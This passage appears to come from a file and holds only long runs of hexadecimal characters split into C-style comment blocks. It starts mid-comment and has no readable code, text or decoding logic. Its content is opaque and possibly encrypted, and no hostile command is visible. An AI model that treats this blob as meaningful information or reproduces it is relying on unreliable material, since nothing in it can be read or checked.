7c5ca8702c23189fa2dea80202376527fe6d6be0fdebdbbfb47940e879f776e48544ff6c01f25cc2a4ab98781e39cb9787beef6f5e878740f4abd33f040f988e684656a9cb8881593213cb252fceed68a9395a9c439d19d2c28df4b9c8e270e5a3ac7d4dc8f7700167d5d14fa248c071772f37a7141a9ee394ca42771881aa78f3442b6db9995c85235685ef056c9910a63d959ef654870941ae5eff3dd01bb2dd97ec5cfd53f6ce6bcac71688edacb913fcc27ec9fa04bf054d4b88cae6de7bfa9ad85560f4447830d73a7b013f6ebceab485b53c2b3508efd099bc489a1709dd428cdbd3c7f3481b08848c7dc9d3baf63ba313091fea370420e0108851841ca17ca49aee0297cf9c86a793cd3fe5e1695a90622ec3454f8a92fd1d187ba8bf027dddc087ddd8157953f2e2947c2857afbf0ed8c7c6b1f0a3f69824b9056b2127fbc48f1431750f19f98a4bcd499bf2845e151fd5ded9e441b3463f51f8eae6042609240632feca96dfaea4acdd56166c14941992e164a3b0cdc9c030ea9a8cc7059bf7dc2af9ea249526233b3192bc9d4ae6953fd70dbab13b159cebd4f4f9640d5cd66aa46af26b6d4fc47e5fcd0f1c6bcb8e7c47b24548bbdf2c2fb4e1cb713b7243ddc9a938319bffb0c44660744e5f89948b87f3283ee6f89a309c78812598f6927362b239f1dbb2aa310d476d0d464a915b896523b9c384c9be7048b948467a649646ca2f5d00dc6b50d67056606ac161715242dc3f554ce3e63b7055f351573f438*/
/*9eba00841085c223682ceb4b6fa34d5d193a5a30ae3f40ab7c9d69a77c3c6b68d46025be3fb6cefce6a8078541c7ba3f8d7183db2eca4e945f22b1600470e59a1d4205e48d17995e06a0be2f2090dca6687cd5dc8972bd59f5ebc24a4e06588440680a3bd22f6e557cfb825193d6207c1af0ebbaa0b3db6d4daada80f6fef2ad0e3437162ed38c43097177ca3a2bbd11eac182b4d0e3a387d6e001d1a532c7cd4f800193ecb29631860e1f133aa313531563107c980792df86337800487abc68d69ba33c3e750c19df51246fbe43036c08a10b715ffaaea758d805b086f1fb6f2e7e6430adf073d30e5c6dc20f85f5f376b7d46ed7319dcf987232089b7ebec71eb96313c47223aac12f3a1f81ce957a827f517be9b528859b362f5967d181307c40e32cfa39ba5603a98523ef7125ed76b5d046909424357e3e017b1a3bf84b553610d8019310f85569f893ba7a8c89bfc7c2375e906131b663f67de3c5bf4750020b039205a88e47b9ca1d000ed8b57ece84d25ad4487ae9e1d3aad55f056388e8f65744c9633dce327ee2a9a98354f0b4e7b5ee00125efd7a554d70435aec626b9d1e9f67b9aaec8bc5bfda91f2fb4afb95d9f9e9e419e4a49fff69221e2d2e68a9f079b329c482b32c564c7914d43a96492bd53da8ecee6ffdab4895efcec93f13bdea81ae75d22bebbaf05a4883a65ce97ffbffbf60ee09b1cb682e22049e8d1f6872a264f8646ba3915250d9efa903f91b39db5125f20050a4569f11390fabd9edf2743de8f87a03a5fc024a6656675176abeb696c8100696d2de996106e9bd345014a524149aa35ae57324971946597d307a7dbea17e7b31889ee36be25b3aa40ce44eeed630787f817697c23d5158d841601bf0dbe5634b03fdd455001b40f7e35fcb15686c413227b2e19ab6b9aaac96fa17c757409db167606a537e87a6587eada2efa2e86d00355ad1898c144268382d868e95a3e710e80437cacea6464cc1abb7bcd15fcb9d3a02972fa60d4b8b8d56a3655ed0f481af50c7a381f324411aea6d76c5af2e7e89014f130f8adf95bdd4a3c70500ce5361d44e839cb7a01a932765dbbdb9777614235dce8d8b2c7dd87a4c9d17a0017d3f46e289c98ae58e6e3205edf3729a702dfe944049f61622c7d04c72e09b48c92484e9b3311ecf3c3bf64bd3faefdf0cbdf52e6b7d7297edf15284ba31cb7e198f5d39594c60242dc21ef55236add214bc0a606ef19c94d8b3217a20f937a8f02103bfba9f4d0fd6407695f0d25d612d45567dab49e43d00634c9464e78f854c1990cc66b7e48d70e82af0aaf9f01c5bc333e17c91ffb557984013dab503a87dac386126086d92f67d01de69d3d6052bdb057bb80fa3ce30b5ef18afe774339609fab219e14ffec36f606b33bad3ee5d68ca8dd857ebf0cc096bf1d1d955620e6abd94df3e6c29ce7ae1a3a8448181108e3fbf2f294d01fb5087aa58585ff565fdaa7b20be2cb2245dd391a889ed73d60941abbac49cc03539ef7baf76906ece40d630e2e6ec37138bf38cfdbd0b631cab0f4ce5fbbab84c1a2ba156b87ba17bc980f6b3af27d54d60df0489ddf92435e6498cb0514e12c67c264254007282bcff0b8e9c4ca48805ec554b7869f2cb97b07540c901a78fba346be8e93c632b7c7c70d828385e5653a73fab50f056860999a3973a75e601717de7007c4ad9ef42a37663e9a8c394ba76a867d8c08814bf1df5898f4f54b7097fc838653321d91713c7103da2abf26b21a6a44d478b172302c277e2d0bb26c72b09e4558ad35aadb3b0c72de47f720064ed0623e426f6eb8169b5760295ad7154c98deb845ef488e5c24a55fd6623cee6acba5e1b02e77d9cca1b8daa59d2bc2a5fb4339a69a18252e75675dde78ed6e8a641302142b543059918e87e1d686885740e2d8005e503d010bcf9c8f576b3af3a84f223f622bd5dbadd5b18b5c325a2f532c8a087fece63a034b29cbcf1b961ffbee89262c6210654bbb994fb449f0178f567ac6c844ee6141d3ae14815610ab60768bfd472674e85972401d9341b7b92c4a49175ef5754c0aa034d85761b51e0d6b34e97a2da55201dfb88be63a3cb1089c5082f90eb5fc45badb7d8e923b173cca4194869b6b4f70ec717af087dc3fd697bc8aed870ece3b4e8a4961eb13f4147a5b6aecd6c086ed6a7f4bcf4f3e82ee56f2a69176ac11cab470f166f7c3ec5512dd3e53b493a901d80a5aab6d59e7a99d66668d1f8d2b1533fd3b905a4c650d22110919048e3b8254a154d798e3288d78c0679353dd3a9b19c7ac252e59a9758832091c80a06ac9f503b71d7b37f572e8fb087d99d753cdbe66299d84476c256231c0bef2779b56ca1b5c7c8848745af619832cb388c6117add58cacb69feea1cfeb678bc9e8d3f62fafb6518a429d59bfead68cd402f29ea227818ded4267cae339abbc9ced9fd5f99cd52e4d4719f0189b693027ffddd485881f5e2881cfe036bd787a918be56e5defc729bf3b7fc8f470a8f93da63b333cc2f0670ab14257f21cd9e77179131f213b20a649d91f62e24d135be3f5a710be8b9eb9666c1b5d850a25a637541ecde6b7237824081bf03a497df26f18599d411544e69fe9f892637ca4f17498b365166be8ba3fd36fa635e1c90079b33e8ee9bc8cf9401dbf70bdfabf13ec110c0d875a69b2c5b9a99a6921b0be8c2c4f7e0378fe8e0205d5040ed7701ada8fec327c9296a12e660e20b572b2077a94e7cb8f02ea878dcbf1a8da58e8f81ae4e6e22c030e476f508beb563e85c9cda77ab8ce7f8e37ad7e63781556497672e49275440*/
/*f4008d008d326d56855b525dbbfe5a9fc1409c5b0476b94b202e2af5466f75b2ce33e6641cbffd5b1d1c63d209454b66f90b8b73d25425833b69eb82e5e413deb3bf20e201c11e3c2e436b3d8dc2d5ba4a551381201f37a9edfc6c17aca1f2764d668033943bdd337cc94c19b296c3f3f5c91439fc623dfcfd89aadf1057746e518acb04fbde81076c042b0e28e5e9ac3415cd5ef948246d9a98294429a2317978ee6e0761a29846946e015988bf89fa40f796cc79a03bbc0e36e6bb0407b8063c533e0165d84568002114835e4eef69d5af18c7b5cc9ef947c02b7275d5a8859684a4af99132bf83d4e3b5db1a096f9806538ac1685118da1e520b21b9bb96fd8ab90ff0c7db6ffa5ad86cab27516e3ed35a1efddd50104de4f6684204bb1039e7526bcc464976f359f8f1917c9feda81738f55a1602419edfac92f7ab47860779b28ec5dc6a18503f8750630176617afab8366332baa3c21f6c14c85162b5f680d5ce3de411158c35e3ff8e3e810c8399efe3254c35cc5905a43d8b35b7f241742c8e9f57357b10cf69709af51c5f87fda6989ab0cc3e8e6d3b5c35a18e7a116e90be1b0a586174fd7c94ae76963f4c2df4bd16f66e3073044f8c6639483f6d4d247270dcb061b9a3cdfbefcc67a9c10480c7425fe55420d0ccd00a79ceb14cbe9443dbf0d52f86fd360ee82efcd67f8edd43b0f8a0b37907309541b1dcafb7c0ad0a2392e47dbc8864570f788ed7758874c45eb3651128def0a80b182ed2d614d825ce6faea765ac7c99c02629f4e0144d7563a0087afc6421e818a2c803cc716d9df0f16856bc4af8720917714475db954e3efd8e2c4d4f43bf3a3b0455310c221ffe4c9327cc62420f74a8a0bc0e2748e0767b485f546bfa62359aa02bad86286d65985230d975ce40dcba66e2dd37962f03c9a8345e51034d81af4b817f0220d0ede55a857ad31b2a4d43dcb47374717607743f6eef94a2f002f99d4fadb152753f203131ad724d0c4b38544f0a07e5545e5cc27774ee9854016695d3610342cb611d2737d4c6434f70f12837566817247389742ea83f9faf82b50a78fafdd7830c57946806985d0b33d3397d3e281f6e246aba9548f97a241ebc55a4f5ac61959ca46b4245ad33473a8c02b088adfb893b690ad4013e36606fa965abd534ffbf6fb06237f1b3d0454d14fc92155d487819fef97d5a37289a3ddc3e9e81e18087f0c87c8e9d6a3796a226bc730156ffaf48c77abbe0a21b5365b86c0951c6b09a61a97bca4c41404a3de3ac7c36013679007b56e81f86a78c78aaeba86aae39a46b9fbf21d17e3282c854faf7a282466e279d1644c1004a549157789cdf89a17161c561815f0e239b4a5ed206b32a01f10dd03b32305cabf23b9918a86de14be3f3a141c3adab1299506691274de11d69bef381c51e3159701556002d59a714e0ef18d910be3e9b21bf4c1891deed1f73e657ff6f8fdec5fc615cfc67f971406e81d813cd2270b31c88657301a0c8d8469fc145f7e80a0f9fc5c2484ff7f24ce0abd0da67ade7ac3981272f5d03c3837c19e5c4c61371fe739ef0d2af0a1691fc58894c3e320e7a8b3ac384ce1fb83059398b58fce07dcec3a9ca1cd8bd58e4582c6780a8c99e65ad0e4257c5bcb2a5fee6717b13debced397202db142b3a9c9ec24f8df90f7a70011f1f4a87dc39ed94fe2c3cd18d152caa8724223ece2e52eb6266f058d51103eb75d89ca07fb0a8185d503ffcb479bfd5ed3f70c81973f14761434455ebc27eeaa5b6687be068e96d582e32ee140076debfac96edff4650375afdb7a741fd0715dea88d74c4987ff0abe4b6014c46708434e448ee5da8203ada6985c497f92518a7aa5f2e582ce4771500c315b3acefb9bf06bec390e7f0fc1466e1cda14cdd14bb494ab33edf97df80e60962336a0bc649e77302d93ce0e881bcb8e091d271b19cb37eb9f708b686978094dccf61ad88eb8079424424ece322114ae236d4868f996cb63aa69384cc9702688333370e8e36f6225f7c818e70103cd98d833f130edb22ed16ce007c553f192c743b5c49f565454eaf25a4e30d47ac777c8ee72ccd090941e8238c152626778f1048d4f5c70a9c9f7d609032f420bf8aa852537c28bf5673aac17a412903262812575ef7761352779631740ec29ff5401e1335cb00492c567368261e7b28bad418517ed5630820a62768c063ad5910b388fd7aafde51fb29593c22d93f911afd100f77f5a846cf02afd4cb22c71d09522ee95aa7c7860179707073b461378c2836c0aebe207872cef92e5d21806700e8bd40b8328bb2dab00e7f0f90db8f5e8f1e80452e2e04c7574d227393933e37ff0452925786fc4f74641f7ee5ee94f2b3581adaef662896ba2bfaf7411a8d016f0f67250bdc33bc4936fdb010e9f74bb51649224e0c4ecdd66e8d3d69c3d71cdc230a090d49ce8a5c209264e07155d7e81692d93fe02673cf0bc9c6ed22eded38b8516c922fc41d94c04cb7e2c257983a1c49ec9860a2b489268e29fed9d0705ef4c96fb4ad3f2aaf63edde0f6a7998e88b9c0dd0168b930e94b53c4de7f4ae5db3898783e2f51d64d66f1698d841d162f7c631cf8e32525e8c3d3eac696c0a22e4d84f1f8c09733aa4340a719dbe0c3b6a77e8003f71e207a7bf4fc5ce11c0e3a9965e43944f9ece3baeccedab5075267956d55a0eb7ce40cd72a5db291f26617e264ddf489d9958b04362a7088b56af86f8680db1c691976970b714e92dc55fa2bc2f8f93c185cd35cd3b867ed5218d2d576f32c6bf70041d0301f0479a2c555c786b2a17ce6dd25f7*/
/*5f58d07006a2d7ca55d1d51c96a84981714535a566cd27babf1c4f80fe089aca4d1e5b83848b466c8b983dd18cf3c6f6be79f323721111523a9ffcd818dabc3c1dae376c5bae21993036867ef1c3464822d544010f84d8f7ab6e2ef746d6475cbc1639e5ba6fc9393caeb803d8daafd7c6d81dcbfc863de2cb9f68291807dc21b7d85a75def5cbaaccd1b944dca185502980319cde7db1c44e82b733d04bf3ae7038a81986b9dcf5b9fa97630d7d2436219ff1e85f422e3e7746813417e6e7399ee98927ef4298ef1240f4aa82312a0b17d9c8897ce2fa40c3c0216bf836af105c3f8cc6137a7a6207de9b3ee08f950b23903b2b09efa2074163f421aa285ee862769ba83c62370feb4234693851052d68692eab81001e398ce4822b7c2832f1f6b80effefb7f410e72aa3bf150de9e53b74bd492d471c6ebcd4db525b3e72648ffd0a685409ba9eeeb6b2aa9d7b4cd1ef7f435f98fa3148a4f37ee4eff7002a5b34907e06ac5ee38a59f93edc2d12d9e5e23512519d3f185753d514b016cbb48aba45bfff98cfacf69848ad98d37a5ae79de3f777fc8aea8a4bef8db36f418550a7ede0a551f4d7cffa3264bde83a10ec611c66cc6de58ccf65a7a56309b68a1df73af78c472d963c4e58526f35861d22f7c3eb68ebe75a7eb41f24e98e9e9ecb38898f713f0ce3cf57077be188d60aa02ba2fe2ab15ab18213d3606ef43197da23f6ee17c43e2b35d1a11753c01e0193abcb7536068b29e1e7d6359312f326fd59765a10c3a60162d01cf409fc9c61412fabe74ef7fc8b800591dc062dc84879ceb74a410cb5d5368b4a2a5a09a43ac72ae7448146073e73ff26730c89e4e3d84d85ca099ad1bffaa949a31415b0722b57e7b0cd705a775112a49f5ecad530db906176d289e12dcc09ca16d02f51829ca331ba2f86ce5a82314c4c1693f45f5b1fbf539a225bc40fdc3420a3fdcffcc8e6e5c503388f7eb8d75f6a11559e1b5182e65959d3d4995100c9f9926467f5c3abcc1437c2db94c4595d6730466bc097c2135abe82585af1b581535f424d81c95952c9963ae07da9e9fc080fdfb6c6b3049fbba297695da965a4e68d65cb7f78f8850b647e0b9ff490991755699e64698f901fdd20ca74216f2023404f80068f685efe5269305320f54b651be66ba1a184a62a831e7f0e558de3a632202c5f5bab373001d67929613489d6949be697b97bc78608b6237e7e87d100256e95b111a4634672bc108ea083a00183729441aabec56e39660204a390920cb2201f6aea8086dbbd64807c973836facd62859bfa414c4904b22485cfc9495b4709849b395eef715a81a667214432a64cd9ceea48e1f24286ac525b89f3909547ad26366d8e9dd5ea40a642e6a58a86c255ec496da22aa350f1b0f9f7021fb4b20cca458d275337a8dbc25d7d06efcde0b16b16408052003be6608e404c956446b2133fa421acc718f063b919da48adc316dfdaa743e986b9bdc6ecff92580134ded31a3f823cb28a08c50c8993003bfa61af54771d0c709aca26b7d46bf4a799c4b135a35054b898dce279fccd2e384be92e2d3f0eb076661c5fe22c86e4db1aa299a84df943738d8ac0cc08efb6c1ad0df4f868b3b2eed66451822f57039cc8a00f87757748b5678b0669f54bcc7fb7e7d1e6a2c569ccbdb4b71fc19f169a4205f3a713fde5855febb100544e8545e45c2e944764cccb84200949c56217a590a3abd923a76f09a1923ce8889da2f0ee1d0425d7f4d9a87eceab4b533bd0bfa2ad6e36edbdc073c3a2ea9c056af2a72acc6026d9034b78dc753a95afcca7c3f99269e701b2b598e4b000c32f3c0597400f80955d016080a725450a4010e278d700e3de68dab4872cb9a773aac69694427f01406340bc99e3acb52c424460e9b607c417c611e38fe8f0030e9ffbadbdc29c9943574555d4216b1cc0fca3fba087c94118e756bd7ed5ba8a4553008ca4240d50732c41d5488e500f6579d51d3b8a6a071830d86a70c1fbc5c0418f922894c41cc2086f280b29607b2a919f725573724e8fcc25f35c466319f50e1bceb333f4e88711762a3f344266fc2c0ad731aac6ab9483e23c248d2f17ff25a28a2bc62d16d087c146fa164de1e5ba788a07860c46ce1455a1457e60fe9e95f5293b3cbf6aacaa67ed0bb210643ebc8fba5fc34aca99a29194cd999e8a3f16a66655ccf184dce6f2025f99e32fc8151e3200ccef9e78fe8ee1279b186209f359e6728545ac3eb5a3869f48abd8adc60e8676716ec0de7d80a5a771d157725ada494d6d676e5bcb7a0eb1e06c81e0f1a962023edc10401f4223fcf569c5b55075479626d2c46c3aa033519608bac40e4c69d01a2eacbb5b1ee30ea3a485de3dc256954b89448eec167c0af58e749a414b483312280b9d9c814b6f0866d3c860ebc36faab931e8a5b6a9cc8252913a256a9c0bcbdc7ebde930dac7c7bbc7da1e435b3a55afaef93ce1d6187db38bf31538dd89860b1488cce5f9f56332e151ca73f6fe89114aefa00858b108a4386b5031b76597fe4c2fc0ed291e956a21ddf998732f1a3c44c02efd718c8abdf0ead59ea147e3ad8393932dc70a0bd0d681c7a8dc2f6ab428156c17b40357b65075bf3d8907debd67e44725c4a5e5ac58a8babbc2c1513fcf6c85ae99d63fcccec4ee51b66479001799be99a2184a99b862aa6d3782793569da82ec1fe3d6304c5e3b279b1f49ef89f157a422e12f2c84ae77eb1d71600599ee5b214946f51060eacb4b54620326cb074b52d6a06d42f4632472ff9806d45ccc116db0963bbc088f5dffbe031b6fa6f6*/
/*6b3d9c25a2b52b3e66580e43f0f6067b299cee99ed29557c8cafe2b2ab09989de3ac04c8ae78c998888377e66ff6d76105ed055600aef95cbc5f7c3fb7940c87bbea60e0eea69fdd84954e394e4d28ff6f63194a5e23dc088dd107186df68db192b26322984589cef4c690aadf72335a7ab9a67da9f6a9b95a3a5868f106a59c05ad83a2cb13cc629ec44ed8da7aa012e459fd7d2ac7c09e9f1f951104f8cd20aac102224b40d051941a4ab1bbf149725d28a5ba26e917740b2c0e1746a3f66a449641dc35f61517204867d86579563d9225ce71f4b50c4300c8a4c97b5e3331c8df1c90477a98baefd20e6e3f70c1cdd08ffc04326dda0e5297665bea65f6dd31910f8693090429252baa76ea3b3af16d4e6f74b69987aae95703472c583162b313367ef0afb1b5350c4f0729d76c9f5fb4201f8713ee072a84c28f4bc45b70c01886a3c2dd489363c1a9f43394b9c9c73b91f28c427592807b60379fd273c8aba63a5d05f6f90cae69614993c745e6a3d1e5fa487b479358427b668f85bc6d79344e0a3463e10f9d1c16b721f22b53b51304ac0a41a3b6998061e9e1f60b38083bcd7b602afa98647205483624829ddeba872fc11b93defb556b676af1099d7d4f6950976807eeb5501694ff11acb09f581c92d209b5029ceddf77a4b2f607b4a7c16c2d1fee65b49aadc9da88fe753946939efedca776c0d5f0c280f6d4272eedbd475a835088297d6f090174d0e8db9d286b9cac88063841f553dadaea850d88b2d97d9a651d7e7318c09e4a4cd5f8f0bb6a5e18bdaf28c0004c94a9759a9ec0e55e0463de0e65c6cc78b7072f13b87129700dcc9069deb9cf18128a4af1064e5bf102c3e6749363179c4ee878b3a70a7f67d7772adcea89e58c8989429f84fd23582670141105a8c0c31b7ff28605977ea1b808639b60fed6abfeee8541baaca3749a27b0918cb98f781ebd600c39b93fdf9a3b35ca84e0fa399882d044f05d96a9267f7d8a84c86f8192b1a884f3b8b83315a35619efe3e09d9c2f453bb30cd1399f716016c78cdd884853738629e6a92e93d759d155746e315d85eeb2e67681d973c8f4f76a886fc7a4ff22cabfe6c643e45de880b6f2400ca383d8feb8dfa12fb9df1e343a58bf4ad9e11cea32a80444892906877933bf780c81c710e899aa1eb45f9035ade2d9bcd8ee1fb50e1cd20c3990e4e701d4cfe67600c8a68718df3905fdf4711973bce96995145171f0aa6b7dd33a1d1c3edad6eb2e98453967cfc942472c503e6fb60fc459dc07d626c61b0665a71870876c071b852a7702aa9afdb9b9a0608a90a9412984c8a6a1137353d324c81e090bacac810f9d0ce7d9510b7c430519e27d1fa3bc3f2edb3bc400e5d1e7d2ba2d1a3ec53b6c06ffb1d77643a5b1e98fa7214d57c72fb78dd5a0143df7d223e4ec101a4d4016b57602e250b76c3d097c5b238ee41b6f6f3dec414e337be2583c572280595ee44a6d91555673bb34463b07dfba27d78cef860c55dfe0459f67c293438ce692370b982e682b8f110828cdd8831e29bcb80763ff84492e00f6cfce2720a0e54161e0ca3d304bf8906ba0a00e38015284dc50a4fa746d45998f5b7ba19e74fc6c1f8d672ff2dcdf09108a06e4d0678137782f6e81345eb4712a084ade868f9ca3af63de31d60276a2d033a71ec6cfda4bd74c7d7b80abc529e5ba5045c950f664ca8b13d05fa95914ccef6c448407dc53c1a664290e00f3af782687ad07610c0c4317ba7fe0f41d259f95be7fa89248f3b85a2d791044d3491e8f925b5b994f02a7ab95d65b8ac19ad7174e5b20def339653ebcda75943464cc2ef32e0a85807726e343f910341413d33e46cfc9bd025899990ae2c45e658b8907b7a3d363960e3adf27d81ac00b78cecadf0163fd46ff571351e248913590b1a2e8d4b73485f312bd70c0bc27b895cc12c08ccfa85888623cc29b052c2251b47856826c095cc2f06869c859f3e91ef821ffb60f2b66fc265bd371d5f22e4fef3feb540438399b5129b0dc1d7d5626d7f587ca9ae6e78f720883a8a83270399c9b1e6ea152a50cec5774a7e07e947547598ca4e3d2ebb7d6ad792a19954a480c17fc6dafb10404bdc23e0e3ba814326f21b00798955130461a6b8cf4f911d2414fc1d58785425a9d3e7f505a40ad5ae4244df5e220171c596ccd5385d4061628c483eb62c29522ae05936bbe520e2eaf66df1593837d17cbfd1db46f0560869c983edabf76000889da777482d087a7dee82e431af320e4dbd7b25d8f1158f6b33b12c3897ab8a799b4ba226e6fdca8b956628010b4ef1b4a3741d5aa6e4ab5b15e8d55339b2284f9c4740153499f2f5175c9d0228370a121874a2034ca6cd01362dcd5c1c185a1890f2d2c159a3a2d586a5fd2615925687a5833926293fe5ffc43cd4d7473930164c641ac1e83757e93a749e9fd7b3464ea0ecb96232cc3ca4a34299f32d07c3a5935fdff2ca3028702ea3a1bf5b4f92565fb8c4e743849c81900d33b390ab1a5b6abce94416f3564279846077f83931697b3f52a5fb55fcc10affcdea84994a344172c18ec80875e152fd5f4385bcc1e099a8dc80c172ea1af67f158e6234355df7cca6e81bdb1be5e2253aec9117a2cb74c9472b0c2f4c3ada348edeb7d4ad683401bd6bc64ced71a3232ed9d9ae4ed0300cbe9dfcfc183546989685c7eb44422e857c1edf5592fb9d84d050ab32f09dbe14a6c2bb057447559f27b9130858ddf5f92fcf31256fe507ba10cae03622ba3269fb7fc17353f30f3874a253b97996b4cc145435de83530cdf13c00eb949b0b79b2*/
/*5d7a403504416f6bc70a12ad29c7785c56968a83d09d7c1567c9b349486c42044d26640f813d29b2a0b1026bdc99ad7663e6f72db0c29e03db02b6d9e1f8404439ade6ef5ef7208245b0b6667c452944b973ca48f4e2a6af7e92477b48efc116181e779700b936d36893486968d9256a3d757e8bc3bb2fbdedf905c108e6fea2ad9ae4f2f754a5ce2b580efd09279f4f5b221953fea6c75e57424968d2340e89bd8035a16e28de95480eef543b2569726cf63160dc64a412637592af11f5853614cbc073eb222c2a49082e00e61db7932e7ffd81e7831edb86fbde6381803a6d9809408189065faeb5701fc3f7ff0e9ccd8f9cb7f4fd7abe81453a0889aeae7d3730950725d59953f2ef928194e4855fe5431fc8c70f0052e373c182caec1300e02f1661958e1471a6ce74fd626fbcc3f5ccb222c0fff3f4b749157a22ac68b64446ce71c60a5fe018a66ea53a73d2558371a4b3fd8508babcb69e514eac38ade49b128f416946965d13bda6acb18a6d9a4af5455756e259e228b0897d1905298ffb89258d2a3102c6da9b94a394b866397dcf65123e21575d4024d59097e06876ac62cb59b5b24bc7279a0092fa06ece41dca799a68010b325d8777e73c3c26a72d102e1558710fa72afbb2a93c1edeeb9372a0781e638726c47a3bb17bdd3fa2e0fdcd8c49b5a5aabfb449e7fdaf9906276e27e80e925ec5c78748ac6da9580de5b681dd2fb61851df8f03967d6979072c1f92b9b531d3df2b61306a8fc56f38f66efd4061fdb622e67f80526f00756b1ba734692e4342a6fc45132bda52c05426a9f2efe9435592bb288a7749ac3a6b1c111cd1196442e3bb84395cb9c9516e0fceb7cf4d378f154eab9ad6297c7b8e6a6c5929253a4fbf2c4bd46edd47553bc38e1d43ef7382bb2678fce0bc9350e92760bdf5de000e4c3c9a8f969caaaf7f8b0314c920a424010fa1aaecf08e06cf1775c35fca7de5f54de4b76f9b8207d92a72bbce3e9465c7dfd47ab96118dc72bb628633634ce328507e6fcb4808a19c31e488ee57f428061b5c796de7257db5a8ee5739e6b2e56578cb9dfed9c3520033cb0a078de1586bcd04f0b8aa42fa28f25de5016a25bee1453995760f4fdb6b1b256911a4994a1a9298ac1db77447b5480929db3d79dc5e6aa6ef86f639e3c2c3b5bfa8732937a46ddbeb081f1347c706adb42b7b8ae29a86aeb5168d7f13018f89d10f84ac1f3b8457c1c02f375526da03ac0c0b44440a98d4c91e3899357b290cda60df5290000d837f35061474f5cff5252444645f87bdb4ef53f6ed35109362a2140862eb8c238dd0214d38e681c14f3cfa1478f3c23ce3125058263b69015891cfd1f3d5b9f7857ebc10dca797644eba289b89607e1bf0482fedb612e27c53506b93970dd9585ad62e1627896137fbb37d8ec293bb71dad9f47fbbcc26853783b585272524e0bb87d6967f83f5509ca61649dcb15e7896e444155248e9d2d798aa301be6fe4356dc1a51b901e6d1ac422843061bd23359ab9c3392e5be2656d088a206d1d4410dcf9aa680e928a9976be717bb42bf4b47011b08334b005dedfb43094a0ec39918511dbbc647170fe0c19a72cb00ebcc12118d17c3aa586449420a1e34e30497f87f49d97d2e0895991a5cebd9647d5af2a049172c30475a18d10f48f3ecc257912c9964e7149afd6e0ccf0e2489cd988429bf3984402b9c46b2a5924c79a55c1344ea0b1fe4b8cc5b05860cc0f7440013764c02f4b43dd177abcca79ac69685050254166bf536c28b5a4ff4848b631bad7de74339e7038a7b3e8c6edc5f86d070169c5b4d0a7a13898c2bd64b74a778c7812fb190e4529be95588689cdafad4ec309f1f6f1f3078f604f6e0e1fb8be1764e950a08e474f5f6a7368f4d23e5bb090446527297731404d16e84e5295cdfc9103edffa54d1ff00a34c8ad6e8b5fcd0ca1529b382683662618c04cc45b526e3c19fdec8ae5baaee0ba093f437aef427b4516fbcfa0a0415b6d77ac6b7b113fcaebab794c48b8e90cada9b0be76e09d46862057847fae292d2de1ed454f7526da529d10b9d594eae54e871e1596e97e52fbb660d765e0f10703b3f8b9908b05e379359f17ead2fba2cfd4dbc74f17b9457778041a17abd15f893a1a0b1cb0e5eef2131394110e76f75ad1670f38f8fc2362fc81b20648520bb9d73b23f14cdc57271b37f2dad18970f407c406d8a9d31271ad497d5b65717055363780418b977c527f10455647e72c4a15e12b87187fe7f102a1ce57d751dca5faf8bd7e0f2f085041ea60276a944b5137a572dcf1b940b4d3014a489784646210b507c1bde12477a40851585e0232180a5f9d64a972cc477f76236726a1710989eec42750e590b78bbacfc4191735928c4968dd67fc27c475470485bf2bcc8df1c93733c80a2b8cc8fed79c84cf9b7e4367734423e017703bd3734c5b64fe0b9b05c537412719b8966cf148776d3c0478b71a52b4f90625a46f572272ea6f57fd447b500a2267d64fcae5527dd8b01ac7d5aecfbabd70256e7d82738ddf1a83d9f07d8bb3e308077f7e45dc95ee6cdf0156f4ed70725718460d8914cfaa1c210d0aa089180f510cd5943ed8727d98c938bf4225737d718b58d456ab6070f4cd0a1f3f7e199af17c597b6dce2e76a9efff009f9a2e5d360ba129d595d4fa5db1aebe8223cb6c5207c032d757d361e51ef849e5b4e90e43fa835a67b9e47bb71ef06fc9dbe71d054a008e6ff780f8857ca4d70929e982e44c13af62cdcbb98713ea154137d4c6565ed76d9d625c263ca5768c4189b039d0a519d3575*/
/*0b5540964d9a493937b56ea3c0ba13f2cad20cb7c14bfc17e30075dd6412c66c57a4be7784e10c03df1caafb49c53ea38d143e6586aad7c728b78f03754e00515ffaafc92036c34c1dd8acb0bb773f44121f8d722edfc80309224f0a6295a48287229ce0edd7b35ca77b3736ac05417561ee3ab937263681e5a4f6816cb19d775e05b8a0127da1338be4b5de3cddd57bd855c8a999fe1585d6ec0b67c8aa5734a1effbfcb3fd0eab0d4c6c8b74e78451945acf319295cf654c0a11007b78a17a193aa6d1ea19035f2c0371ee3b2d759ec7f510a2b41dc45d200f7a748bdd1cad6a1021e78c2be83de700ec9313fcdbe0aa9aea149f2bafecad689a9b8face7fa50f022961a0bd02e821e30793e23dbabb4b137e0329ec913d8fe84e87e6ff1421d529b37e4755735ff14ad0d75d9b37eed8a3569c7c43931acd06919a6cdcea4913d737b28dc58214e1a57fd8171748879401867666b36134a8f92c90f8971bb7b44088c38f596b415877beae756794c839a981e60281b9a0420dbe52c96898ab22b1fd33b3cde58947556c37071a2f31877122ecf6e06d118f197140c7b6b7634849f06dc12b3dae5753c2d3c0dbb327aa183ebef5236f4ec4f65aceb52902dfe45a51e5e5f45cda286554876328a3f9432faaf2518963ff8e7143c1aa2dc0c53e8e87c31861c5d87ac9f3f3ad0d4dc3a205d669d950032e7d9ccf49fed2447e15a450521c846c33371a97d26a6975620512395ea0497decd0eb5db431bce4c31e2ebebf5fba82174df88413308d5d642c6e704b9fd32c1432c054ceb3801c3a58a19f58e4f63da7728fba26d0506ef029c9bbe69705b21265080bec7ea437448d1925cd3e8077350f41549ef6bd62728a302972cd4235b12bbc6e7463a97a876c52a6493312ed74dd37b7d5e3636892978041f8c12740552f03e67e685ea5be32629f7e7d7042ab6bb9407545d82eea9e903b423f64aeeca0d6f49c412cee9b88735a6a3ea1e6d697478d017946c3c2b5a3aec956d7d7e0ca7dc734d1930c3ba5fe103499ddc97546305984ac167dca51dc7d1c9de44c59fb35170ffbcfe9099f81d541ff3c44ed82aa9ec7cc9a7dadbeacd04f62a4aa2921e1b647008353e1368ca24576b5bbe1ee12d1f95dd1769316c857da7245bdd7ed806e611fd36749fef091e86a7f4e0cf243b0082a50a20a308e531e1a665db299dd7995da88894a3ea09d82e649649e952c2a762fc84ee0e4435bfc0259ec68f3bbfd3ed5f56a36a267ba1bc7e5444909aab70f7baf197d9609406b3edb57f8909fcaa9563a5feae35eaca80a4337c83976d1f878a080898368cd01e46a1922bde3655c84500261284ea1d4e768d27b07d6dc8d382bac4af6cc4b292660c838d6d8ffd3bbdd5a84a389e261206a8541e6fe40d5964788ec4eeca666a1fd0a8ac71f90f1163106ee4411684b4af9bd64d306df0d6e99b8da327d43ec98f7180